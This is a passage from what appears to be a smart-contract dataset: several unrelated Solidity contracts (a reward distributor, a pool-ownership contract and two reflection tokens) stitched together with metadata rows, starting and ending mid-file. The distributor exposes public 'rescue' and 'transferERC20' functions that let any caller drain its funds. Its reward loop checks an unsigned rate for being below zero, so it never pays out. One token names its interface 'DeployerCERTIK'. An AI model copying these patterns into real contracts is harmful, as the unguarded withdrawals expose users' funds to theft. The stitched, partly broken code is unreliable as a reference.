// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate < 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return true;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(SLURP).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function rescue(uint256 weiAmount) public {
require(address(this).balance >= weiAmount, "insufficient FTM balance");
payable(msg.sender).transfer(weiAmount);
}
function transferERC20(address tokenAddress) public {
IERC20(tokenAddress).transfer(msg.sender, IERC20(tokenAddress).balanceOf(address(this)));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 329,007 | 11,791 |
da33f00ac6d318327795c73e049b1cd6fb24864c403b3ae62cb44a575b4dd263
| 13,366 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x3e39a0c976866d9c3347c69191bed3386037be12.sol
| 3,278 | 13,074 |
pragma solidity ^0.4.3;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Sender not authorised.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC677 is ERC20 {
function transferAndCall(address to, uint value, bytes data) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library itmap {
struct entry {
uint keyIndex;
uint value;
}
struct itmap {
mapping(uint => entry) data;
uint[] keys;
}
function insert(itmap storage self, uint key, uint value) internal returns (bool replaced) {
entry storage e = self.data[key];
e.value = value;
if (e.keyIndex > 0) {
return true;
} else {
e.keyIndex = ++self.keys.length;
self.keys[e.keyIndex - 1] = key;
return false;
}
}
function remove(itmap storage self, uint key) internal returns (bool success) {
entry storage e = self.data[key];
if (e.keyIndex == 0)
return false;
if (e.keyIndex < self.keys.length) {
self.data[self.keys[self.keys.length - 1]].keyIndex = e.keyIndex;
self.keys[e.keyIndex - 1] = self.keys[self.keys.length - 1];
self.keys.length -= 1;
delete self.data[key];
return true;
}
}
function contains(itmap storage self, uint key) internal view returns (bool exists) {
return self.data[key].keyIndex > 0;
}
function size(itmap storage self) internal view returns (uint) {
return self.keys.length;
}
function get(itmap storage self, uint key) internal view returns (uint) {
return self.data[key].value;
}
function getKey(itmap storage self, uint idx) internal view returns (uint) {
return self.keys[idx];
}
}
contract PoolOwners is Ownable {
using SafeMath for uint256;
using itmap for itmap.itmap;
struct Owner {
uint256 key;
uint256 percentage;
uint256 shareTokens;
mapping(address => uint256) balance;
}
mapping(address => Owner) public owners;
struct Distribution {
address token;
uint256 amount;
uint256 owners;
uint256 claimed;
mapping(address => bool) claimedAddresses;
}
mapping(uint256 => Distribution) public distributions;
mapping(address => uint256) public tokenBalance;
mapping(address => uint256) public totalReturned;
mapping(address => bool) public whitelist;
mapping(address => bool) public allOwners;
itmap.itmap ownerMap;
uint256 public totalContributed = 0;
uint256 public totalOwners = 0;
uint256 public totalDistributions = 0;
bool public distributionActive = false;
uint256 public distributionMinimum = 20 ether;
uint256 public precisionMinimum = 0.04 ether;
bool public locked = false;
address public wallet;
bool private contributionStarted = false;
uint256 private valuation = 4000 ether;
uint256 private hardCap = 1000 ether;
event Contribution(address indexed sender, uint256 share, uint256 amount);
event ClaimedTokens(address indexed owner, address indexed token, uint256 amount, uint256 claimedStakers, uint256 distributionId);
event TokenDistributionActive(address indexed token, uint256 amount, uint256 distributionId, uint256 amountOfOwners);
event TokenWithdrawal(address indexed token, address indexed owner, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner, uint256 amount);
event TokenDistributionComplete(address indexed token, uint256 amountOfOwners);
modifier onlyPoolOwner() {
require(allOwners[msg.sender]);
_;
}
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function() public payable {
require(contributionStarted, "Contribution phase hasn't started");
require(whitelist[msg.sender], "You are not whitelisted");
contribute(msg.sender, msg.value);
wallet.transfer(msg.value);
}
function setContribution(address _sender, uint256 _amount) public onlyOwner() { contribute(_sender, _amount); }
function contribute(address _sender, uint256 _amount) private {
require(!locked, "Crowdsale period over, contribution is locked");
require(!distributionActive, "Cannot contribute when distribution is active");
require(_amount >= precisionMinimum, "Amount needs to be above the minimum contribution");
require(hardCap >= _amount, "Your contribution is greater than the hard cap");
require(_amount % precisionMinimum == 0, "Your amount isn't divisible by the minimum precision");
require(hardCap >= totalContributed.add(_amount), "Your contribution would cause the total to exceed the hardcap");
totalContributed = totalContributed.add(_amount);
uint256 share = percent(_amount, valuation, 5);
Owner storage o = owners[_sender];
if (o.percentage != 0) {
o.shareTokens = o.shareTokens.add(_amount);
o.percentage = o.percentage.add(share);
} else {
o.key = totalOwners;
require(ownerMap.insert(o.key, uint(_sender)) == false);
totalOwners += 1;
o.shareTokens = _amount;
o.percentage = share;
allOwners[_sender] = true;
}
emit Contribution(_sender, share, _amount);
}
function whitelistWallet(address _owner) external onlyOwner() {
require(!locked, "Can't whitelist when the contract is locked");
require(_owner != address(0), "Empty address");
whitelist[_owner] = true;
}
function startContribution() external onlyOwner() {
require(!contributionStarted, "Contribution has started");
contributionStarted = true;
}
function setOwnerShare(address _owner, uint256 _value) public onlyOwner() {
require(!locked, "Can't manually set shares, it's locked");
require(!distributionActive, "Cannot set owners share when distribution is active");
Owner storage o = owners[_owner];
if (o.shareTokens == 0) {
allOwners[_owner] = true;
require(ownerMap.insert(totalOwners, uint(_owner)) == false);
o.key = totalOwners;
totalOwners += 1;
}
o.shareTokens = _value;
o.percentage = percent(_value, valuation, 5);
}
function sendOwnership(address _receiver, uint256 _amount) public onlyPoolOwner() {
Owner storage o = owners[msg.sender];
Owner storage r = owners[_receiver];
require(o.shareTokens > 0, "You don't have any ownership");
require(o.shareTokens >= _amount, "The amount exceeds what you have");
require(!distributionActive, "Distribution cannot be active when sending ownership");
require(_amount % precisionMinimum == 0, "Your amount isn't divisible by the minimum precision amount");
o.shareTokens = o.shareTokens.sub(_amount);
if (o.shareTokens == 0) {
o.percentage = 0;
require(ownerMap.remove(o.key) == true);
} else {
o.percentage = percent(o.shareTokens, valuation, 5);
}
if (r.shareTokens == 0) {
if (!allOwners[_receiver]) {
r.key = totalOwners;
allOwners[_receiver] = true;
totalOwners += 1;
}
require(ownerMap.insert(r.key, uint(_receiver)) == false);
}
r.shareTokens = r.shareTokens.add(_amount);
r.percentage = r.percentage.add(percent(_amount, valuation, 5));
emit OwnershipTransferred(msg.sender, _receiver, _amount);
}
function lockShares() public onlyOwner() {
require(!locked, "Shares already locked");
locked = true;
}
function distributeTokens(address _token) public onlyPoolOwner() {
require(!distributionActive, "Distribution is already active");
distributionActive = true;
ERC677 erc677 = ERC677(_token);
uint256 currentBalance = erc677.balanceOf(this) - tokenBalance[_token];
require(currentBalance > distributionMinimum, "Amount in the contract isn't above the minimum distribution limit");
totalDistributions++;
Distribution storage d = distributions[totalDistributions];
d.owners = ownerMap.size();
d.amount = currentBalance;
d.token = _token;
d.claimed = 0;
totalReturned[_token] += currentBalance;
emit TokenDistributionActive(_token, currentBalance, totalDistributions, d.owners);
}
function claimTokens(address _owner) public {
Owner storage o = owners[_owner];
Distribution storage d = distributions[totalDistributions];
require(o.shareTokens > 0, "You need to have a share to claim tokens");
require(distributionActive, "Distribution isn't active");
require(!d.claimedAddresses[_owner], "Tokens already claimed for this address");
address token = d.token;
uint256 tokenAmount = d.amount.mul(o.percentage).div(100000);
o.balance[token] = o.balance[token].add(tokenAmount);
tokenBalance[token] = tokenBalance[token].add(tokenAmount);
d.claimed++;
d.claimedAddresses[_owner] = true;
emit ClaimedTokens(_owner, token, tokenAmount, d.claimed, totalDistributions);
if (d.claimed == d.owners) {
distributionActive = false;
emit TokenDistributionComplete(token, totalOwners);
}
}
function withdrawTokens(address _token, uint256 _amount) public {
require(_amount > 0, "You have requested for 0 tokens to be withdrawn");
Owner storage o = owners[msg.sender];
Distribution storage d = distributions[totalDistributions];
if (distributionActive && !d.claimedAddresses[msg.sender]) {
claimTokens(msg.sender);
}
require(o.balance[_token] >= _amount, "Amount requested is higher than your balance");
o.balance[_token] = o.balance[_token].sub(_amount);
tokenBalance[_token] = tokenBalance[_token].sub(_amount);
ERC677 erc677 = ERC677(_token);
require(erc677.transfer(msg.sender, _amount) == true);
emit TokenWithdrawal(_token, msg.sender, _amount);
}
function setDistributionMinimum(uint256 _minimum) public onlyOwner() {
distributionMinimum = _minimum;
}
function setEthWallet(address _wallet) public onlyOwner() {
wallet = _wallet;
}
function getOwnerBalance(address _token) public view returns (uint256) {
Owner storage o = owners[msg.sender];
return o.balance[_token];
}
function getCurrentOwners() public view returns (uint) {
return ownerMap.size();
}
function getOwnerAddress(uint _key) public view returns (address) {
return address(ownerMap.get(_key));
}
function hasClaimed(address _owner, uint256 _dId) public view returns (bool) {
Distribution storage d = distributions[_dId];
return d.claimedAddresses[_owner];
}
function percent(uint numerator, uint denominator, uint precision) private pure returns (uint quotient) {
uint _numerator = numerator * 10 ** (precision+1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
}
| 164,141 | 11,792 |
3e617cc60a6a381c9cee0cabceeb99ed49dba841985355a9d6836e133edc9b29
| 18,829 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/bf/bf89F0c8393E080B35614ECa505B069D798E78e0_AvaXwIfe.sol
| 4,195 | 15,798 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvaXwIfe is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'AvaXwIfe';
string private _symbol = 'AvaXwIfe';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 84,337 | 11,793 |
6a4d650fb42d1d5d19a592742114b496fd42cd05b7cc60f490d8c2c363978879
| 13,638 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cb/cba279eca3eba2be96f6e7b42e0100c8af66c778_TEST.sol
| 3,696 | 13,028 |
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TEST is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "TEST";
string private constant _symbol = "TST";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xa7A49913E1b53B094FdA4B3c024c53a521B2378e);
_feeAddrWallet2 = payable(0xa7A49913E1b53B094FdA4B3c024c53a521B2378e);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
